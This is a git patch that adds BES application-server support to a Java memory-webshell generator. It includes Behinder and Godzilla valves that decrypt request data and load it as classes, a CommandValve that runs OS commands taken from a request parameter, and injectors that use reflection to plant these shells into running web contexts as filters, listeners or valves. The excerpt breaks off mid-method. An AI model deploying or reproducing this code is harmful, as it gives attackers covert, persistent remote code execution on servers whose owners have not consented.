From 5f4880e72a7afb649a70614bde55b5599d524ad9 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Thu, 26 Dec 2024 21:14:03 +0800 Subject: [PATCH] feat: support bes shell generate (#9) --- .../reajason/javaweb/memshell/BesShell.java | 54 +++ .../com/bes/enterprise/webtier/Valve.java | 18 + .../enterprise/webtier/connector/Request.java | 345 ++++++++++++++++++ .../webtier/connector/Response.java | 196 ++++++++++ .../memshell/bes/behinder/BehinderValve.java | 133 +++++++ .../memshell/bes/command/CommandValve.java | 62 ++++ .../memshell/bes/godzilla/GodzillaValve.java | 136 +++++++ .../bes/injector/BesFilterInjector.java | 204 +++++++++++ .../bes/injector/BesListenerInjector.java | 183 ++++++++++ .../bes/injector/BesValveInjector.java | 185 ++++++++++ 10 files changed, 1516 insertions(+) create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/BesShell.java create mode 100644 memshell/src/main/java/com/bes/enterprise/webtier/Valve.java create mode 100644 memshell/src/main/java/com/bes/enterprise/webtier/connector/Request.java create mode 100644 memshell/src/main/java/com/bes/enterprise/webtier/connector/Response.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/bes/behinder/BehinderValve.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/bes/command/CommandValve.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/bes/godzilla/GodzillaValve.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/bes/injector/BesFilterInjector.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/bes/injector/BesListenerInjector.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/bes/injector/BesValveInjector.java diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/BesShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/BesShell.java new file mode 100644 index 00000000..237a69f2 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/BesShell.java @@ -0,0 +1,54 @@ +package com.reajason.javaweb.memshell; + +import com.reajason.javaweb.memshell.bes.behinder.BehinderValve; +import com.reajason.javaweb.memshell.bes.command.CommandValve; +import com.reajason.javaweb.memshell.bes.godzilla.GodzillaValve; +import com.reajason.javaweb.memshell.bes.injector.BesFilterInjector; +import com.reajason.javaweb.memshell.bes.injector.BesListenerInjector; +import com.reajason.javaweb.memshell.bes.injector.BesValveInjector; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; +import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; +import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener; +import com.reajason.javaweb.memshell.tomcat.command.CommandListener; +import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener; +import org.apache.commons.lang3.tuple.Pair; + +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/26 + */ +public class BesShell extends AbstractShell { + public static final String VALVE = "Valve"; + public static final String JAKARTA_VALVE = "JakartaValve"; + + @Override + protected Map, Class>> getCommandShellMap() { + return Map.of( + Constants.FILTER, Pair.of(CommandFilter.class, BesFilterInjector.class), + Constants.LISTENER, Pair.of(CommandListener.class, BesListenerInjector.class), + VALVE, Pair.of(CommandValve.class, BesValveInjector.class) + ); + } + + @Override + protected Map, Class>> getGodzillaShellMap() { + return Map.of( + Constants.FILTER, Pair.of(GodzillaFilter.class, BesFilterInjector.class), + Constants.LISTENER, Pair.of(GodzillaListener.class, BesListenerInjector.class), + VALVE, Pair.of(GodzillaValve.class, BesValveInjector.class) + ); + } + + @Override + protected Map, Class>> getBehinderShellMap() { + return Map.of( + Constants.FILTER, Pair.of(BehinderFilter.class, BesFilterInjector.class), + Constants.LISTENER, Pair.of(BehinderListener.class, BesListenerInjector.class), + VALVE, Pair.of(BehinderValve.class, BesValveInjector.class) + ); + } +} diff --git a/memshell/src/main/java/com/bes/enterprise/webtier/Valve.java b/memshell/src/main/java/com/bes/enterprise/webtier/Valve.java new file mode 100644 index 00000000..d9f1a9ce --- /dev/null +++ b/memshell/src/main/java/com/bes/enterprise/webtier/Valve.java @@ -0,0 +1,18 @@ +package com.bes.enterprise.webtier; + +import com.bes.enterprise.webtier.connector.Request; +import com.bes.enterprise.webtier.connector.Response; +import java.io.IOException; +import javax.servlet.ServletException; + +public interface Valve { + Valve getNext(); + + void setNext(Valve var1); + + void backgroundProcess(); + + void invoke(Request var1, Response var2) throws IOException, ServletException; + + boolean isAsyncSupported(); +} \ No newline at end of file diff --git a/memshell/src/main/java/com/bes/enterprise/webtier/connector/Request.java b/memshell/src/main/java/com/bes/enterprise/webtier/connector/Request.java new file mode 100644 index 00000000..b9a60995 --- /dev/null +++ b/memshell/src/main/java/com/bes/enterprise/webtier/connector/Request.java @@ -0,0 +1,345 @@ +package com.bes.enterprise.webtier.connector; + +import javax.servlet.*; +import javax.servlet.http.*; +import java.io.BufferedReader; +import java.io.IOException; +import java.io.UnsupportedEncodingException; +import java.security.Principal; +import java.util.*; + +/** + * @author ReaJason + * @since 2024/12/26 + */ +public class Request implements HttpServletRequest { + @Override + public String getAuthType() { + return ""; + } + + @Override + public Cookie[] getCookies() { + return new Cookie[0]; + } + + @Override + public long getDateHeader(String name) { + return 0; + } + + @Override + public String getHeader(String name) { + return ""; + } + + @Override + public Enumeration getHeaders(String name) { + return null; + } + + @Override + public Enumeration getHeaderNames() { + return null; + } + + @Override + public int getIntHeader(String name) { + return 0; + } + + @Override + public String getMethod() { + return ""; + } + + @Override + public String getPathInfo() { + return ""; + } + + @Override + public String getPathTranslated() { + return ""; + } + + @Override + public String getContextPath() { + return ""; + } + + @Override + public String getQueryString() { + return ""; + } + + @Override + public String getRemoteUser() { + return ""; + } + + @Override + public boolean isUserInRole(String role) { + return false; + } + + @Override + public Principal getUserPrincipal() { + return null; + } + + @Override + public String getRequestedSessionId() { + return ""; + } + + @Override + public String getRequestURI() { + return ""; + } + + @Override + public StringBuffer getRequestURL() { + return null; + } + + @Override + public String getServletPath() { + return ""; + } + + @Override + public HttpSession getSession(boolean create) { + return null; + } + + @Override + public HttpSession getSession() { + return null; + } + + @Override + public boolean isRequestedSessionIdValid() { + return false; + } + + @Override + public boolean isRequestedSessionIdFromCookie() { + return false; + } + + @Override + public boolean isRequestedSessionIdFromURL() { + return false; + } + + @Override + public boolean isRequestedSessionIdFromUrl() { + return false; + } + + @Override + public boolean authenticate(HttpServletResponse response) throws IOException, ServletException { + return false; + } + + @Override + public void login(String username, String password) throws ServletException { + + } + + @Override + public void logout() throws ServletException { + + } + + @Override + public Collection getParts() throws IOException, ServletException { + return Collections.emptyList(); + } + + @Override + public Part getPart(String name) throws IOException, ServletException { + return null; + } + + @Override + public Object getAttribute(String name) { + return null; + } + + @Override + public Enumeration getAttributeNames() { + return null; + } + + @Override + public String getCharacterEncoding() { + return ""; + } + + @Override + public void setCharacterEncoding(String env) throws UnsupportedEncodingException { + + } + + @Override + public int getContentLength() { + return 0; + } + + @Override + public String getContentType() { + return ""; + } + + @Override + public ServletInputStream getInputStream() throws IOException { + return null; + } + + @Override + public String getParameter(String name) { + return ""; + } + + @Override + public Enumeration getParameterNames() { + return null; + } + + @Override + public String[] getParameterValues(String name) { + return new String[0]; + } + + @Override + public Map getParameterMap() { + return Collections.emptyMap(); + } + + @Override + public String getProtocol() { + return ""; + } + + @Override + public String getScheme() { + return ""; + } + + @Override + public String getServerName() { + return ""; + } + + @Override + public int getServerPort() { + return 0; + } + + @Override + public BufferedReader getReader() throws IOException { + return null; + } + + @Override + public String getRemoteAddr() { + return ""; + } + + @Override + public String getRemoteHost() { + return ""; + } + + @Override + public void setAttribute(String name, Object o) { + + } + + @Override + public void removeAttribute(String name) { + + } + + @Override + public Locale getLocale() { + return null; + } + + @Override + public Enumeration getLocales() { + return null; + } + + @Override + public boolean isSecure() { + return false; + } + + @Override + public RequestDispatcher getRequestDispatcher(String path) { + return null; + } + + @Override + public String getRealPath(String path) { + return ""; + } + + @Override + public int getRemotePort() { + return 0; + } + + @Override + public String getLocalName() { + return ""; + } + + @Override + public String getLocalAddr() { + return ""; + } + + @Override + public int getLocalPort() { + return 0; + } + + @Override + public ServletContext getServletContext() { + return null; + } + + @Override + public AsyncContext startAsync() throws IllegalStateException { + return null; + } + + @Override + public AsyncContext startAsync(ServletRequest servletRequest, ServletResponse servletResponse) throws IllegalStateException { + return null; + } + + @Override + public boolean isAsyncStarted() { + return false; + } + + @Override + public boolean isAsyncSupported() { + return false; + } + + @Override + public AsyncContext getAsyncContext() { + return null; + } + + @Override + public DispatcherType getDispatcherType() { + return null; + } +} diff --git a/memshell/src/main/java/com/bes/enterprise/webtier/connector/Response.java b/memshell/src/main/java/com/bes/enterprise/webtier/connector/Response.java new file mode 100644 index 00000000..b0c91321 --- /dev/null +++ b/memshell/src/main/java/com/bes/enterprise/webtier/connector/Response.java @@ -0,0 +1,196 @@ +package com.bes.enterprise.webtier.connector; + +import javax.servlet.ServletOutputStream; +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.io.PrintWriter; +import java.util.Collection; +import java.util.Collections; +import java.util.Locale; + +/** + * @author ReaJason + * @since 2024/12/26 + */ +public class Response implements HttpServletResponse { + @Override + public void addCookie(Cookie cookie) { + + } + + @Override + public boolean containsHeader(String name) { + return false; + } + + @Override + public String encodeURL(String url) { + return ""; + } + + @Override + public String encodeRedirectURL(String url) { + return ""; + } + + @Override + public String encodeUrl(String url) { + return ""; + } + + @Override + public String encodeRedirectUrl(String url) { + return ""; + } + + @Override + public void sendError(int sc, String msg) throws IOException { + + } + + @Override + public void sendError(int sc) throws IOException { + + } + + @Override + public void sendRedirect(String location) throws IOException { + + } + + @Override + public void setDateHeader(String name, long date) { + + } + + @Override + public void addDateHeader(String name, long date) { + + } + + @Override + public void setHeader(String name, String value) { + + } + + @Override + public void addHeader(String name, String value) { + + } + + @Override + public void setIntHeader(String name, int value) { + + } + + @Override + public void addIntHeader(String name, int value) { + + } + + @Override + public void setStatus(int sc) { + + } + + @Override + public void setStatus(int sc, String sm) { + + } + + @Override + public int getStatus() { + return 0; + } + + @Override + public String getHeader(String name) { + return ""; + } + + @Override + public Collection getHeaders(String name) { + return Collections.emptyList(); + } + + @Override + public Collection getHeaderNames() { + return Collections.emptyList(); + } + + @Override + public String getCharacterEncoding() { + return ""; + } + + @Override + public String getContentType() { + return ""; + } + + @Override + public ServletOutputStream getOutputStream() throws IOException { + return null; + } + + @Override + public PrintWriter getWriter() throws IOException { + return null; + } + + @Override + public void setCharacterEncoding(String charset) { + + } + + @Override + public void setContentLength(int len) { + + } + + @Override + public void setContentType(String type) { + + } + + @Override + public void setBufferSize(int size) { + + } + + @Override + public int getBufferSize() { + return 0; + } + + @Override + public void flushBuffer() throws IOException { + + } + + @Override + public void resetBuffer() { + + } + + @Override + public boolean isCommitted() { + return false; + } + + @Override + public void reset() { + + } + + @Override + public void setLocale(Locale loc) { + + } + + @Override + public Locale getLocale() { + return null; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/bes/behinder/BehinderValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/behinder/BehinderValve.java new file mode 100644 index 00000000..2eafd4a0 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/behinder/BehinderValve.java @@ -0,0 +1,133 @@ +package com.reajason.javaweb.memshell.bes.behinder; + +import com.bes.enterprise.webtier.Valve; +import com.bes.enterprise.webtier.connector.Request; +import com.bes.enterprise.webtier.connector.Response; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletException; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.io.IOException; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class BehinderValve extends ClassLoader implements Valve { + public String pass = "{{pass}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + protected Valve next; + protected boolean asyncSupported; + + public BehinderValve() { + } + + public BehinderValve(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception var5) { + } + } + return value; + } + + @SuppressWarnings("all") + public Class g(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + @Override + public Valve getNext() { + return this.next; + } + + @Override + public void setNext(Valve valve) { + this.next = valve; + } + + @Override + public boolean isAsyncSupported() { + return this.asyncSupported; + } + + @Override + public void backgroundProcess() { + } + + @Override + @SuppressWarnings("all") + public void invoke(Request request, Response response) throws IOException, ServletException { + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpSession session = request.getSession(); + Map obj = new HashMap(3); + obj.put("request", request); + obj.put("response", getInternalResponse(response)); + obj.put("session", session); + session.setAttribute("u", this.pass); + Cipher c = Cipher.getInstance("AES"); + c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); + byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); + Object instance = (new BehinderValve(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(obj); + } else { + this.getNext().invoke(request, response); + } + } catch (Exception e) { + e.printStackTrace(); + this.getNext().invoke(request, response); + } + } + + public HttpServletResponse getInternalResponse(HttpServletResponse response) { + while (true) { + try { + response = (HttpServletResponse) getFieldValue(response, "response"); + } catch (Exception e) { + return response; + } + } + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/bes/command/CommandValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/command/CommandValve.java new file mode 100644 index 00000000..8ccd4712 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/command/CommandValve.java @@ -0,0 +1,62 @@ +package com.reajason.javaweb.memshell.bes.command; + +import com.bes.enterprise.webtier.Valve; +import com.bes.enterprise.webtier.connector.Request; +import com.bes.enterprise.webtier.connector.Response; + +import javax.servlet.ServletException; +import javax.servlet.ServletOutputStream; +import java.io.IOException; +import java.io.InputStream; + +/** + * @author ReaJason + */ +public class CommandValve implements Valve { + public String paramName = "{{paramName}}"; + protected Valve next; + protected boolean asyncSupported; + + public CommandValve() { + } + + @Override + public Valve getNext() { + return this.next; + } + + @Override + public void setNext(Valve valve) { + this.next = valve; + } + + @Override + public boolean isAsyncSupported() { + return this.asyncSupported; + } + + @Override + public void backgroundProcess() { + } + + @Override + public void invoke(Request request, Response response) throws IOException, ServletException { + try { + String cmd = request.getParameter(paramName); + if (cmd != null) { + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + ServletOutputStream outputStream = response.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + } else { + this.getNext().invoke(request, response); + } + } catch (Exception e) { + this.getNext().invoke(request, response); + } + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/bes/godzilla/GodzillaValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/godzilla/GodzillaValve.java new file mode 100644 index 00000000..91cd127e --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/godzilla/GodzillaValve.java @@ -0,0 +1,136 @@ +package com.reajason.javaweb.memshell.bes.godzilla; + +import com.bes.enterprise.webtier.Valve; +import com.bes.enterprise.webtier.connector.Request; +import com.bes.enterprise.webtier.connector.Response; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletException; +import javax.servlet.http.HttpSession; +import java.io.ByteArrayOutputStream; +import java.io.IOException; + +/** + * @author ReaJason + */ +public class GodzillaValve extends ClassLoader implements Valve { + public String key = "{{key}}"; + public String pass = "{{pass}}"; + public String md5 = "{{md5}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + protected Valve next; + protected boolean asyncSupported; + + public GodzillaValve() { + } + + public GodzillaValve(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = base64.newInstance(); + value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs); + } catch (Exception var5) { + } + } + return value; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception var5) { + } + } + return value; + } + + @SuppressWarnings("all") + public Class Q(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var4) { + return null; + } + } + + @Override + public Valve getNext() { + return this.next; + } + + @Override + public void setNext(Valve valve) { + this.next = valve; + } + + @Override + public boolean isAsyncSupported() { + return this.asyncSupported; + } + + @Override + public void backgroundProcess() { + } + + @Override + @SuppressWarnings("all") + public void invoke(Request request, Response response) throws IOException, ServletException { + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + HttpSession session = request.getSession(); + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (session.getAttribute("payload") == null) { + session.setAttribute("payload", (new GodzillaValve(this.getClass().getClassLoader())).Q(data)); + } else { + request.setAttribute("parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = ((Class) session.getAttribute("payload")).newInstance(); + f.equals(arrOut); + f.equals(data); + f.equals(request); + response.getWriter().write(md5.substring(0, 16)); + f.toString(); + response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); + response.getWriter().write(md5.substring(16)); + response.flushBuffer(); + } + } else { + this.getNext().invoke(request, response); + } + } catch (Exception e) { + e.printStackTrace(); + this.getNext().invoke(request, response); + } + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/bes/injector/BesFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/injector/BesFilterInjector.java new file mode 100644 index 00000000..9dd6a8d7 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/injector/BesFilterInjector.java @@ -0,0 +1,204 @@ +package com.reajason.javaweb.memshell.bes.injector; + +import javax.servlet.Filter; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.logging.Logger; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + */ +public class BesFilterInjector { + Logger log = Logger.getLogger(BesFilterInjector.class.getName()); + + static { + new BesFilterInjector(); + } + + public BesFilterInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object filter = getShell(context); + inject(context, filter); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + public List getContext() throws Exception { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); + for (Thread thread : threads) { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); + for (Object key : childrenMap.keySet()) { + Map children = (Map) getFieldValue(childrenMap.get(key), "children"); + for (Object key1 : children.keySet()) { + Object context = children.get(key1); + if (context != null) { + contexts.add(context); + } + } + } + } + } + return contexts; + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + Object obj; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + obj = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + obj = clazz.newInstance(); + } + return obj; + } + + @SuppressWarnings("unchecked") + public void inject(Object context, Object filter) throws Exception { + String filterName = getClassName(); + if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) { + log.warning("filter already exists"); + return; + } + System.out.println(context.getClass().getName()); + Object filterDef = context.getClass().getClassLoader().loadClass("com.bes.enterprise.web.util.descriptor.web.FilterDef").newInstance(); + Object filterMap = context.getClass().getClassLoader().loadClass("com.bes.enterprise.web.util.descriptor.web.FilterMap").newInstance(); + invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); + invokeMethod(filterDef, "setFilter", new Class[]{Filter.class}, new Object[]{filter}); + invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); + invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); + invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); + try { + invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + } catch (Exception e) { + invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + } + + Constructor[] constructors = context.getClass().getClassLoader().loadClass("com.bes.enterprise.webtier.core.ApplicationFilterConfig").getDeclaredConstructors(); + constructors[0].setAccessible(true); + Object filterConfig = constructors[0].newInstance(context, filterDef); + HashMap filterConfigs = (HashMap) getFieldValue(context, "filterConfigs"); + filterConfigs.put(filterName, filterConfig); + log.info("filter added successfully"); + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String fieldName) throws Exception { + Field field = getField(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + @SuppressWarnings("all") + public static Field getField(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/bes/injector/BesListenerInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/injector/BesListenerInjector.java new file mode 100644 index 00000000..ce617679 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/injector/BesListenerInjector.java @@ -0,0 +1,183 @@ +package com.reajason.javaweb.memshell.bes.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.Map; +import java.util.logging.Logger; +import java.util.zip.GZIPInputStream; + + +/** + * @author ReaJason + */ +public class BesListenerInjector { + static { + new BesListenerInjector(); + } + + Logger log = Logger.getLogger(BesListenerInjector.class.getName()); + + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + public BesListenerInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object listener = getShell(context); + inject(context, listener); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public List getContext() throws Exception { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null); + for (Thread thread : threads) { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + Map childrenMap = (Map) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); + for (Object key : childrenMap.keySet()) { + Map children = (Map) getFieldValue(childrenMap.get(key), "children"); + for (Object key1 : children.keySet()) { + Object context = children.get(key1); + if (context != null) { + contexts.add(context); + } + } + } + } + } + return contexts; + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + Object obj; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + obj = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + obj = clazz.newInstance(); + } + return obj; + } + + @SuppressWarnings("all") + public void inject(Object context, Object listener) throws Exception { + Object[] eventListeners = (Object[]) invokeMethod(context, "getApplicationEventListeners", null, null); + for (Object eventListener : eventListeners) { + if (eventListener.getClass().getName().equals(listener.getClass().getName())) { + System.out.println("listener already exists"); + return; + } + } + List newListeners = new ArrayList(); + newListeners.add(listener); + newListeners.addAll(Arrays.asList(eventListeners)); + invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{newListeners.toArray()}); + System.out.println("listener added successfully"); + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(name); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String 